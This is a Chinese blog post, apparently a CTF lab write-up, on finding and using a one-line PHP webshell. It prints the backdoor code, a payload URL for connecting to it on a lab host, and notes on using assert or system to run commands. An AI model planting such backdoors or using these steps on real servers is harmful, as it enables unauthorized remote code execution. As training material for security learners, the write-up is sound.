zoukankan      html  css  js  c++  java
  • WebShell代码分析溯源(第1题)墨者学院

    一、访问链接

    二、下载系统源码后直接放到D盾里扫描,扫到后门文件

     三、查看该木马文件

    <?php error_reporting(0); $_GET['POST']($_POST['GET']);?>

    1.error_reporting(0);      关闭错误报告

    2.$_GET['POST']($_POST['GET']);     一句话木马,GET传入POST值,再将密码:GET以POST请求方式传到后台

    因此构造payload:http://219.153.49.228:41996/www/cn-right.php?POST=assert,密码为GET  连接菜刀,字符编码:utf-8

     



    PHP有很多危险的函数如:eval、system、assert等,那么我们可以使用这些危险的函数来达到后门的目的:

    eval('phpinfo();');  //eval() 把字符串作为PHP代码执行 echo system('dir'); //执行外部程序,并且显示输出 assert('phpinfo();');// 如果参数是字符串,它将会被当做 PHP 代码来执行 assert(phpinfo()); //assert参数不加引号,也可以执行哦

    好了,看到解题思路里都是用POST=assert,那为什么不用POST=eval呢?
    再看一个例子:

    
    $str='assert'; $str('phpinfo();');  //正常执行 $str='eval'; $str('phpinfo();'); //Fatal error: Call to undefined function eval() in D:phpStudyPHPTutorialWWW1.php on line 9  报错了 $str='system'; $str('cd');  //正常执行

    可看到,eval并不支持可变变量形式,除了eval,还有echo、print、unset、isset、empty、include、require等语句,所以这里不能使用POST=eval形式,因为eval不支持可变变量形式。
    也可以构造如POST=system。post里面为cmd/shell命令,如GET=dir。通过shell命令操作也可以得到key值,当前你要用eval,可以用shell命令生成一个一句话后门即可。

    四、在/www/html找到KEY

  • 相关阅读:
    第五周活动进度表
    第四周学习进度条
    软件工程概论作业3
    第三周活动进度
    小学生运算程序2
    课堂作业1
    jsp登陆界面代码
    《构建之法》读书笔记04
    《构建之法》读书笔记03
    《构建之法》读书笔记02
  • 原文地址:https://www.cnblogs.com/WhiteHatKevil/p/10251975.html
Copyright © 2011-2022 走看看